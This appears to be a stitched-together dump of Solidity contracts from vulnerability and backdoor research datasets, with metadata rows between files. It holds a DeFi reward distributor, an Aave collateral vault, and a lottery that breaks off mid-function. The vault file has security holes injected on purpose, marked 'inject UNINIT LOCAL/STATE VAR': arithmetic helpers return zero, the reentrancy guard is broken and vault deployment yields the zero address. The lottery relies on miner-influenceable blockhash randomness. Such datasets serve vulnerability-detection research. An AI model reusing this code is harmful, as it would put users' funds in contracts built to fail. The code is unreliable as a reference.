emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Ownable {
using LowGasSafeMath for uint;
using LowGasSafeMath for uint32;
IERC20 public immutable Cunoro;
ITreasury public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
event LogDistribute(address indexed recipient, uint amount);
event LogAdjust(uint initialRate, uint currentRate, uint targetRate);
event LogAddRecipient(address indexed recipient, uint rate);
event LogRemoveRecipient(address indexed recipient);
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _noro, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = ITreasury(_treasury);
require(_noro != address(0));
Cunoro = IERC20(_noro);
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
treasury.mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
emit LogDistribute(info[ i ].recipient, nextRewardAt(info[ i ].rate));
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
uint initial = info[ _index ].rate;
uint rate = initial;
if (adjustment.add) { // if rate should increase
rate = rate.add(adjustment.rate); // raise rate
if (rate >= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[ _index ];
}
} else { // if rate should decrease
rate = rate.sub(adjustment.rate); // lower rate
if (rate <= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[ _index ];
}
}
info[ _index ].rate = rate;
emit LogAdjust(initial, rate, adjustment.target);
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return Cunoro.totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) external view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyOwner {
require(_recipient != address(0), "IA");
require(_rewardRate <= 10000000, "Too high reward rate");
require(info.length <= 4, "limit recipients max to 5");
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
emit LogAddRecipient(_recipient, _rewardRate);
}
function removeRecipient(uint _index, address _recipient) external onlyOwner {
require(_recipient == info[ _index ].recipient, "NA");
info[_index] = info[info.length-1];
adjustments[_index] = adjustments[ info.length-1 ];
info.pop();
delete adjustments[ info.length-1 ];
emit LogRemoveRecipient(_recipient);
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyOwner {
require(_target <= 5000, "Too high reward rate");
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 118,725 | 13,983 |
88c4a9a227f6781e16cc4f7f7f6d6a37ff2960eb2e9ce4aa7f39b90480491ddb
| 17,494 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/uninitializedLocalVariables/manualCheck/0x1b596db0d33a3104b01e707505f97f84a828f82f_uninitializedLocalStateVariables.sol
| 4,467 | 17,098 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter ; //inject UNINIT LOCAL/STATE VAR
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c ; //inject UNINIT LOCAL/STATE VAR
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c ; //inject UNINIT LOCAL/STATE VAR
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c ; //inject UNINIT LOCAL/STATE VAR
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c ; //inject UNINIT LOCAL/STATE VAR
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash ; //inject UNINIT LOCAL/STATE VAR
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance ; //inject UNINIT LOCAL/STATE VAR
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance ; //inject UNINIT LOCAL/STATE VAR
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Aave {
function borrow(address _reserve, uint256 _amount, uint256 _interestRateModel, uint16 _referralCode) external;
function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external;
function repay(address _reserve, uint256 _amount, address payable _onBehalfOf) external payable;
function getUserAccountData(address _user)
external
view
returns (uint256 totalLiquidityETH,
uint256 totalCollateralETH,
uint256 totalBorrowsETH,
uint256 totalFeesETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor);
}
interface AaveToken {
function underlyingAssetAddress() external returns (address);
}
interface Oracle {
function getAssetPrice(address reserve) external view returns (uint256);
function latestAnswer() external view returns (uint256);
}
interface LendingPoolAddressesProvider {
function getLendingPool() external view returns (address);
function getLendingPoolCore() external view returns (address);
function getPriceOracle() external view returns (address);
}
contract iCollateralVault is ReentrancyGuard {
using SafeERC20 for IERC20;
address public constant aave = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
uint256 public model ; //inject UNINIT LOCAL/STATE VAR
address public asset ; //inject UNINIT LOCAL/STATE VAR
address private _owner;
address[] private _activeReserves;
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "!owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
constructor() public {
_owner = msg.sender;
}
function setModel(uint256 _model) public onlyOwner {
model = _model;
}
function setBorrow(address _asset) public onlyOwner {
asset = _asset;
}
function getReserves() public view returns (address[] memory) {
return _activeReserves;
}
// LP deposit, anyone can deposit/topup
function activate(address reserve) external {
_activeReserves.push(reserve);
Aave(getAave()).setUserUseReserveAsCollateral(reserve, true);
}
// No logic, logic handled underneath by Aave
function withdraw(address reserve, uint256 amount, address to) external onlyOwner {
IERC20(reserve).safeTransfer(to, amount);
}
function getAave() public view returns (address) {
return LendingPoolAddressesProvider(aave).getLendingPool();
}
function getAaveCore() public view returns (address) {
return LendingPoolAddressesProvider(aave).getLendingPoolCore();
}
// amount needs to be normalized
function borrow(address reserve, uint256 amount, address to) external nonReentrant onlyOwner {
require(asset == reserve || asset == address(0), "reserve not available");
// LTV logic handled by underlying
Aave(getAave()).borrow(reserve, amount, model, 7);
IERC20(reserve).safeTransfer(to, amount);
}
function repay(address reserve, uint256 amount) external nonReentrant onlyOwner {
// Required for certain stable coins (USDT for example)
IERC20(reserve).approve(address(getAaveCore()), 0);
IERC20(reserve).approve(address(getAaveCore()), amount);
Aave(getAave()).repay(reserve, amount, address(uint160(address(this))));
}
}
contract iCollateralVaultProxy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
mapping (address => address[]) private _ownedVaults;
mapping (address => address) private _vaults;
// Spending limits per user measured in dollars 1e8
mapping (address => mapping (address => uint256)) private _limits;
mapping (address => mapping (address => bool)) private _borrowerContains;
mapping (address => address[]) private _borrowers;
mapping (address => address[]) private _borrowerVaults;
address public constant aave = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
address public constant link = address(0xF79D6aFBb6dA890132F9D7c355e3015f15F3406F);
constructor() public {
deployVault();
}
function limit(address vault, address spender) public view returns (uint256) {
return _limits[vault][spender];
}
function borrowers(address vault) public view returns (address[] memory) {
return _borrowers[vault];
}
function borrowerVaults(address spender) public view returns (address[] memory) {
return _borrowerVaults[spender];
}
function increaseLimit(address vault, address spender, uint256 addedValue) public {
require(isVaultOwner(address(vault), msg.sender), "!owner");
if (!_borrowerContains[vault][spender]) {
_borrowerContains[vault][spender] = true;
_borrowers[vault].push(spender);
_borrowerVaults[spender].push(vault);
}
_approve(vault, spender, _limits[vault][spender].add(addedValue));
}
function decreaseLimit(address vault, address spender, uint256 subtractedValue) public {
require(isVaultOwner(address(vault), msg.sender), "!owner");
_approve(vault, spender, _limits[vault][spender].sub(subtractedValue, "<0"));
}
function setModel(iCollateralVault vault, uint256 model) public {
require(isVaultOwner(address(vault), msg.sender), "!owner");
vault.setModel(model);
}
function setBorrow(iCollateralVault vault, address borrow) public {
require(isVaultOwner(address(vault), msg.sender), "!owner");
vault.setBorrow(borrow);
}
function _approve(address vault, address spender, uint256 amount) internal {
require(spender != address(0), "address(0)");
_limits[vault][spender] = amount;
}
function isVaultOwner(address vault, address owner) public view returns (bool) {
return _vaults[vault] == owner;
}
function isVault(address vault) public view returns (bool) {
return _vaults[vault] != address(0);
}
// LP deposit, anyone can deposit/topup
function deposit(iCollateralVault vault, address aToken, uint256 amount) external {
require(isVault(address(vault)), "!vault");
IERC20(aToken).safeTransferFrom(msg.sender, address(vault), amount);
vault.activate(AaveToken(aToken).underlyingAssetAddress());
}
// No logic, handled underneath by Aave
function withdraw(iCollateralVault vault, address aToken, uint256 amount) external {
require(isVaultOwner(address(vault), msg.sender), "!owner");
vault.withdraw(aToken, amount, msg.sender);
}
// amount needs to be normalized
function borrow(iCollateralVault vault, address reserve, uint256 amount) external {
uint256 _borrow ; //inject UNINIT LOCAL/STATE VAR
_approve(address(vault), msg.sender, _limits[address(vault)][msg.sender].sub(_borrow, "borrow amount exceeds allowance"));
vault.borrow(reserve, amount, msg.sender);
}
function repay(iCollateralVault vault, address reserve, uint256 amount) public {
require(isVault(address(vault)), "not a vault");
IERC20(reserve).safeTransferFrom(msg.sender, address(vault), amount);
vault.repay(reserve, amount);
}
function getVaults(address owner) external view returns (address[] memory) {
return _ownedVaults[owner];
}
function deployVault() public returns (address) {
address vault ; //inject UNINIT LOCAL/STATE VAR
// Mark address as vault
_vaults[vault] = msg.sender;
// Set vault owner
address[] storage owned = _ownedVaults[msg.sender];
owned.push(vault);
_ownedVaults[msg.sender] = owned;
return vault;
}
function getVaultAccountData(address _vault)
external
view
returns (uint256 totalLiquidityUSD,
uint256 totalCollateralUSD,
uint256 totalBorrowsUSD,
uint256 totalFeesUSD,
uint256 availableBorrowsUSD,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor) {
(totalLiquidityUSD,
totalCollateralUSD,
totalBorrowsUSD,
totalFeesUSD,
availableBorrowsUSD,
currentLiquidationThreshold,
ltv,
healthFactor) = Aave(getAave()).getUserAccountData(_vault);
uint256 ETH2USD ; //inject UNINIT LOCAL/STATE VAR
totalLiquidityUSD = totalLiquidityUSD.mul(ETH2USD);
totalCollateralUSD = totalCollateralUSD.mul(ETH2USD);
totalBorrowsUSD = totalBorrowsUSD.mul(ETH2USD);
totalFeesUSD = totalFeesUSD.mul(ETH2USD);
availableBorrowsUSD = availableBorrowsUSD.mul(ETH2USD);
}
function getAaveOracle() public view returns (address) {
return LendingPoolAddressesProvider(aave).getPriceOracle();
}
function getReservePriceETH(address reserve) public view returns (uint256) {
return Oracle(getAaveOracle()).getAssetPrice(reserve);
}
function getReservePriceUSD(address reserve) public view returns (uint256) {
return getReservePriceETH(reserve).mul(Oracle(link).latestAnswer()).div(1e26);
}
function getETHPriceUSD() public view returns (uint256) {
return Oracle(link).latestAnswer();
}
function getAave() public view returns (address) {
return LendingPoolAddressesProvider(aave).getLendingPool();
}
}
| 277,895 | 13,984 |
0ac378373585bedf149e20729080770e27d4db5765cb0fe02738b32535e28e73
| 21,412 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xc0e6c996f3642c3ff3287ef01375fa7b72702797.sol
| 4,905 | 18,919 |
pragma solidity ^0.4.19;
contract BitOpterations {
// helper functions set
// to manipulate on bits
// with different widht of allocator
function set512(bytes32[2] storage allocator,uint16 pos,uint8 value) internal returns(bytes32[2] storage) {
bytes32 valueBits = (bytes32)(value);
uint8 posOffset = uint8(pos%255);
bytes32 one = 1;
bytes32 clearBit = (bytes32)(~(one << posOffset));
uint8 bytesIndex = pos>255?1:0;
allocator[bytesIndex] = (allocator[bytesIndex] & clearBit) | (valueBits << posOffset);
return allocator;
}
function get512(bytes32[2] allocator,uint16 pos) internal pure returns(uint8){
uint8 posOffset = uint8(pos%255);
uint8 bytesIndex = pos>255?1:0;
return (((allocator[bytesIndex] >> posOffset) & 1) == 1)?1:0;
}
function clear512(bytes32[2] storage allocator) internal {
allocator[0] = 0x0;
allocator[1] = 0x0;
}
function set32(bytes4 allocator,uint8 pos, uint8 value) internal pure returns(bytes4) {
bytes4 valueBits = (bytes4)(value);
bytes4 one = 1;
bytes4 clearBit = (bytes4)(~(one << pos));
allocator = (allocator & clearBit) | (valueBits << pos);
return allocator;
}
function get32(bytes4 allocator,uint8 pos) internal pure returns(uint8){
return (((allocator >> pos) & 1) == 1)?1:0;
}
}
contract Random32BigInteger is BitOpterations {
uint256[10] public randomBlockStart;
bytes4[10] private numberAllocator;
bool[10] internal generated;
uint256 private generationNumber = 0;
function generate(uint8 lotteryId) internal returns(bool) {
// to eliminate problem of `same random numbers` lets add
// some offset on each number generation
uint8 startOffset = uint8((generationNumber++) % 10);
if (randomBlockStart[lotteryId] == 0) {
// start random number generation from next block,
// so we can't influence it
randomBlockStart[lotteryId] = block.number + startOffset;
} else {
uint256 blockDiffNumber = block.number - randomBlockStart[lotteryId];
// revert tx if we haven't enough blocks to calc rand int
require(blockDiffNumber >= 32);
// its not possible to calc fair random number with start at randomBlockStart
// because part of blocks or all blocks are not visible from solidity anymore
// start generation process one more time
if (blockDiffNumber > 256) {
randomBlockStart[lotteryId] = block.number + startOffset;
} else {
for (uint8 i = 0; i < 32; i++) {
// get hash of appropriate block
uint256 blockHash = uint256(block.blockhash(randomBlockStart[lotteryId]+i));
// set appropriate bit in result number
numberAllocator[lotteryId] = set32(numberAllocator[lotteryId],i,uint8(blockHash));
}
generated[lotteryId] = true;
randomBlockStart[lotteryId] = 0;
}
}
return generated[lotteryId];
}
function clearNumber(uint8 lotteryId) internal {
randomBlockStart[lotteryId] = 0;
generated[lotteryId] = false;
}
function getNumberValue(uint8 lotteryId) internal constant returns(uint32) {
require(generated[lotteryId]);
return uint32(numberAllocator[lotteryId]);
}
}
contract EthereumJackpot is Random32BigInteger {
address private owner;
event WinnerPicked(uint8 indexed roomId,address winner,uint16 number);
event TicketsBought(uint8 indexed roomId,address owner,uint16[] ticketNumbers);
event LostPayment(address dest,uint256 amount);
struct Winner {
uint256 prize;
uint256 timestamp;
address addr;
uint16 number;
uint8 percent;
}
mapping (address => address) public affiliates;
Winner[] private winners;
uint32 public winnersCount;
modifier ownerOnly {
require(msg.sender == owner);
_;
}
uint8 public affiliatePercent = 1;
uint8 public maxPercentPerPlayer = 49;
uint8 public ownerComission = 20;
// time on which lottery has started
uint256[10] public started;
// last activity time on lottery
uint256[10] public lastTicketBought;
// one ticket price
uint256[10] public ticketPrice;
// max number of tickets in this lottery
uint16[10] public maxTickets;
// time to live before refund can be requested
uint256[10] public lifetime;
address[][10] ticketsAllocator;
struct Player {
uint256 changedOn;
uint16 ticketsCount;
}
mapping(address => Player)[10] private playerInfoMappings;
bytes32[2][10] bitMaskForPlayFields;
enum State {Uninitialized,Running,Paused,Finished,Refund}
State[10] public state;
// flag that indicates request for pause of lottery[id]
bool[10] private requestPause;
// number of sold tickets
uint16[10] public ticketsSold;
// this function set flag to pause room on next clearState call (at the game start)
function pauseLottery(uint8 lotteryId) public ownerOnly {
requestPause[lotteryId] = true;
}
function setOwner(address newOwner) public ownerOnly {
owner = newOwner;
}
function getTickets(uint8 lotteryId) public view returns(uint8[]) {
uint8[] memory result = new uint8[](maxTickets[lotteryId]);
for (uint16 i = 0; i < maxTickets[lotteryId]; i++) {
result[i] = get512(bitMaskForPlayFields[lotteryId],i);
}
return result;
}
function setLotteryOptions(uint8 lotteryId,uint256 price,uint16 tickets,uint256 timeToRefund) public ownerOnly {
require(lotteryId >= 0 && lotteryId < 10);
require(state[lotteryId] == State.Paused || state[lotteryId] == State.Uninitialized || ticketsSold[lotteryId] == 0);
require(price > 0);
require(tickets > 0 && tickets <= 500);
require(timeToRefund >= 86400); // require at least one day to sell all tickets
ticketPrice[lotteryId] = price;
maxTickets[lotteryId] = tickets;
lifetime[lotteryId] = timeToRefund;
ticketsAllocator[lotteryId].length = tickets;
clearState(lotteryId);
}
// this methods clears the state
// of current lottery
function clearState(uint8 lotteryId) private {
if (!requestPause[lotteryId]) {
// set state of lottery to `running`
state[lotteryId] = State.Running;
// clear random number data
clearNumber(lotteryId);
// set current timestamp as start time
started[lotteryId] = block.timestamp;
// clear time of last ticket bought
lastTicketBought[lotteryId] = 0;
// clear number of sold tickets
ticketsSold[lotteryId] = 0;
// remove previous tickets owner info
clear512(bitMaskForPlayFields[lotteryId]);
} else {
// set state to `pause`
state[lotteryId] = State.Paused;
requestPause[lotteryId] = false;
}
}
function isInList(address element,address[] memory list) private pure returns (bool) {
for (uint16 i =0; i < list.length; i++) {
if (list[i] == element) {
return true;
}
}
return false;
}
function getPlayers(uint8 lotteryId) external view returns (uint16,address[],uint16[]) {
if (ticketsSold[lotteryId] == 0) {
return;
}
uint16 currentUser = 0;
address[] memory resultAddr = new address[](maxTickets[lotteryId]);
uint16[] memory resultCount = new uint16[](maxTickets[lotteryId]);
for (uint16 t = 0; t < maxTickets[lotteryId]; t++) {
uint8 ticketBoughtHere = get512(bitMaskForPlayFields[lotteryId],t);
if (ticketBoughtHere != 0) {
address currentAddr = ticketsAllocator[lotteryId][t];
if (!isInList(currentAddr,resultAddr)) {
Player storage pInfo = playerInfoMappings[lotteryId][currentAddr];
resultAddr[currentUser] = currentAddr;
resultCount[currentUser] = pInfo.ticketsCount;
++currentUser;
}
}
}
return (currentUser,resultAddr,resultCount);
}
// in case lottery tickets weren't sold due some time
// anybody who bought a ticket can
// ask to refund money (- comission to send them)
// function refund(uint8 lotteryId) public {
// // refund state could be reached only from `running` state
// require (state[lotteryId] == State.Running);
// require (block.timestamp > (started[lotteryId] + lifetime[lotteryId]));
// require (ticketsSold[lotteryId] < maxTickets[lotteryId]);
// // check if its a person which plays this lottery
// // or it's a lottery owner
// uint256 notSend = 0;
// // disallow re-entrancy
// // refund process
// state[lotteryId] = State.Refund;
// for (uint16 i = 0; i < maxTickets[lotteryId]; i++) {
// address tOwner = ticketsAllocator[lotteryId][i];
// if (tOwner != address(0)) {
// bool sendResult = tOwner.send(value);
// if (!sendResult) {
// LostPayment(tOwner,value);
// notSend += value;
// }
// }
// }
// // send rest to owner if there any
// if (notSend > 0) {
// owner.send(notSend);
// }
// // start new lottery
// clearState(lotteryId);
// }
// this method determines current game winner
function getWinner(uint8 lotteryId) private view returns(uint16,address) {
require(state[lotteryId] == State.Finished);
// apply modulo operation
// so any ticket number would be within 0 and totalTickets sold
uint16 winningTicket = uint16(getNumberValue(lotteryId)) % maxTickets[lotteryId];
return (winningTicket,ticketsAllocator[lotteryId][winningTicket]);
}
// this method is used to finalize Lottery
// it generates random number and sends prize
// it uses 32 blocks to generate pseudo random
// value to determine winner of lottery
function finalizeRoom(uint8 lotteryId) public {
// here we check for re-entrancy
require(state[lotteryId] == State.Running);
// only if all tickets are sold
if (ticketsSold[lotteryId] == maxTickets[lotteryId]) {
// if rand number is not yet generated
if (generate(lotteryId)) {
// rand number is generated
// set flag to allow getting winner
// disable re-entrancy
state[lotteryId] = State.Finished;
var (winNumber, winner) = getWinner(lotteryId);
uint256 prizeTotal = ticketsSold[lotteryId]*ticketPrice[lotteryId];
// at start, owner commision value equals to the approproate percent of the jackpot
uint256 ownerComValue = ((prizeTotal*ownerComission)/100);
// winner prize equals total jackpot sum - owner commision value in any case
uint256 prize = prizeTotal - ownerComValue;
address affiliate = affiliates[winner];
if (affiliate != address(0)) {
uint256 affiliatePrize = (prizeTotal*affiliatePercent)/100;
bool afPResult = affiliate.send(affiliatePrize);
if (!afPResult) {
LostPayment(affiliate,affiliatePrize);
} else {
// minus affiliate prize and "gas price" for that tx from owners com value
ownerComValue -= affiliatePrize;
}
}
// pay prize
bool prizeSendResult = winner.send(prize);
if (!prizeSendResult) {
LostPayment(winner,prize);
ownerComValue += prize;
}
// put winner to winners
uint8 winPercent = uint8(((playerInfoMappings[lotteryId][winner].ticketsCount*100)/maxTickets[lotteryId]));
addWinner(prize,winner,winNumber,winPercent);
WinnerPicked(lotteryId,winner,winNumber);
// send owner commision
owner.send(ownerComValue);
clearState(lotteryId);
}
}
}
function buyTicket(uint8 lotteryId,uint16[] tickets,address referer) payable public {
// we're actually in `running` state
require(state[lotteryId] == State.Running);
// not all tickets are sold yet
require(maxTickets[lotteryId] > ticketsSold[lotteryId]);
if (referer != address(0)) {
setReferer(referer);
}
uint16 ticketsToBuy = uint16(tickets.length);
// check payment for ticket
uint256 valueRequired = ticketsToBuy*ticketPrice[lotteryId];
require(valueRequired <= msg.value);
// soft check if player want to buy free tickets
require((maxTickets[lotteryId] - ticketsSold[lotteryId]) >= ticketsToBuy);
Player storage pInfo = playerInfoMappings[lotteryId][msg.sender];
if (pInfo.changedOn < started[lotteryId]) {
pInfo.changedOn = block.timestamp;
pInfo.ticketsCount = 0;
}
// check percentage of user's tickets
require ((pInfo.ticketsCount+ticketsToBuy) <= ((maxTickets[lotteryId]*maxPercentPerPlayer)/100));
for (uint16 i; i < ticketsToBuy; i++) {
require((tickets[i] - 1) >= 0);
// if the ticket is taken you would get your ethers back
require (get512(bitMaskForPlayFields[lotteryId],tickets[i]-1) == 0);
set512(bitMaskForPlayFields[lotteryId],tickets[i]-1,1);
ticketsAllocator[lotteryId][tickets[i]-1] = msg.sender;
}
pInfo.ticketsCount += ticketsToBuy;
// set last time of buy
lastTicketBought[lotteryId] = block.timestamp;
// set new amount of tickets
ticketsSold[lotteryId] += ticketsToBuy;
// start process of random number generation if last ticket was sold
if (ticketsSold[lotteryId] == maxTickets[lotteryId]) {
finalizeRoom(lotteryId);
}
// fire event
TicketsBought(lotteryId,msg.sender,tickets);
}
function roomNeedsFinalization(uint8 lotteryId) internal view returns (bool){
return (state[lotteryId] == State.Running && (ticketsSold[lotteryId] >= maxTickets[lotteryId]) && ((randomBlockStart[lotteryId] == 0) || ((randomBlockStart[lotteryId] > 0) && (block.number - randomBlockStart[lotteryId]) >= 32)));
}
function EthereumJackpot(address ownerAddress) public {
require(ownerAddress != address(0));
owner = ownerAddress;
winners.length = 5;
winnersCount = 0;
}
function addWinner(uint256 prize,address winner,uint16 number,uint8 percent) private {
// check winners size and resize it if needed
if (winners.length == winnersCount) {
winners.length += 10;
}
winners[winnersCount++] = Winner(prize,block.timestamp,winner,number,percent);
}
function setReferer(address a) private {
if (a != msg.sender) {
address addr = affiliates[msg.sender];
if (addr == address(0)) {
affiliates[msg.sender] = a;
}
}
}
// // returns only x last winners to prevent stack overflow of vm
function getWinners(uint256 page) public view returns(uint256[],address[],uint256[],uint16[],uint8[]) {
int256 start = winnersCount - int256(10*(page+1));
int256 end = start+10;
if (start < 0) {
start = 0;
}
if (end <= 0) {
return;
}
address[] memory addr = new address[](uint256(end- start));
uint256[] memory sum = new uint256[](uint256(end- start));
uint256[] memory time = new uint256[](uint256(end- start));
uint16[] memory number = new uint16[](uint256(end- start));
uint8[] memory percent = new uint8[](uint256(end- start));
for (uint256 i = uint256(start); i < uint256(end); i++) {
Winner storage winner = winners[i];
addr[i - uint256(start)] = winner.addr;
sum[i - uint256(start)] = winner.prize;
time[i - uint256(start)] = winner.timestamp;
number[i - uint256(start)] = winner.number;
percent[i - uint256(start)] = winner.percent;
}
return (sum,addr,time,number,percent);
}
function getRomms() public view returns(bool[] active,uint256[] price,uint16[] tickets,uint16[] ticketsBought,uint256[] prize,uint256[] lastActivity,uint8[] comission) {
uint8 roomsCount = 10;
price = new uint256[](roomsCount);
tickets = new uint16[](roomsCount);
lastActivity = new uint256[](roomsCount);
prize = new uint256[](roomsCount);
comission = new uint8[](roomsCount);
active = new bool[](roomsCount);
ticketsBought = new uint16[](roomsCount);
for (uint8 i = 0; i < roomsCount; i++) {
price[i] = ticketPrice[i];
ticketsBought[i] = ticketsSold[i];
tickets[i] = maxTickets[i];
prize[i] = maxTickets[i]*ticketPrice[i];
lastActivity[i] = lastTicketBought[i];
comission[i] = ownerComission;
active[i] = state[i] != State.Paused && state[i] != State.Uninitialized;
}
return (active,price,tickets,ticketsBought,prize,lastActivity,comission);
}
// this function allows to destroy current contract in case all rooms are paused or not used
function destroy() public ownerOnly {
for (uint8 i = 0; i < 10; i++) {
